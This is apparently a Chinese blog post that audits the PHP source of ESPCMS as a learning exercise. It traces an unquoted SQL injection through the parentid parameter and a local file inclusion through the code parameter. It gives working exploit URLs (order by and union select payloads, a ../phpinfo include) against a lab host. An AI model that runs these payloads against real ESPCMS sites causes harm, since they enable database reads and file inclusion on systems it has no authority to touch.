简介

学习尹毅大佬的代码审计,参照进行敏感函数回溯

版本

5.4.12.05.14

代码

源码

SQL注入

1、使用Seay源代码审计系统,进行自动审计,发现sql语句直接进行查询
image.png
2、定位到代码
image.png
3、发现函数在传递的过程中,$parentid值通过函数accept生成
image.png

4、定位accept函数
image.png
image.png

5、传入两个值,var对应R,可以看到$var获取GET、POST、Cookie参数的值,最后在通过addslanshes验证
image.png

6、回顾之前sql语句,并不需要单引号,双引号闭合

$sql = "select * from $db_table where parentid=$parentid";

7、在citylist.php中,oncitylist()在important类中,全局搜索important

image.png

8、在index.php中,发现action为函数名(前面拼接on)
image.png

9、那么构造语句

http://10.211.55.6/espcms/upload/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 order by 6

image.png

http://10.211.55.6/espcms/upload/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2,3,4,5

image.png

http://10.211.55.6/espcms/upload/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2,user(),4,5

image.png

文件包含

1、发现参数值拼接.php
image.png
2、定位到函数

image.png

3、$plugcode在传递过程中通过accept函数,定位函数

image.png

4、传入两个值,var对应G,可以看到$var GET获取参数的值,最后在通过addslanshes验证
image.png

5、返回templatemain.php中,会读取public/lable/目录下的文件
image.png

6、为了进行验证,现在public下生成个phpinfo文件

<?php
phpinfo();
?>

7、接下来就定位到类important,全局搜索important,在index.php中,发现action为函数名(前面拼接on)

image.png

8、通过得到的信息,构建payload

http://10.211.55.6/espcms/upload/adminsoft/index.php?archive=templatemain&action=attrindex&code=../phpinfo

image.png

文章作者: weehhd
版权声明: 本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 weehhd
代码审计
喜欢就支持一下吧
打赏
微信 微信
支付宝 支付宝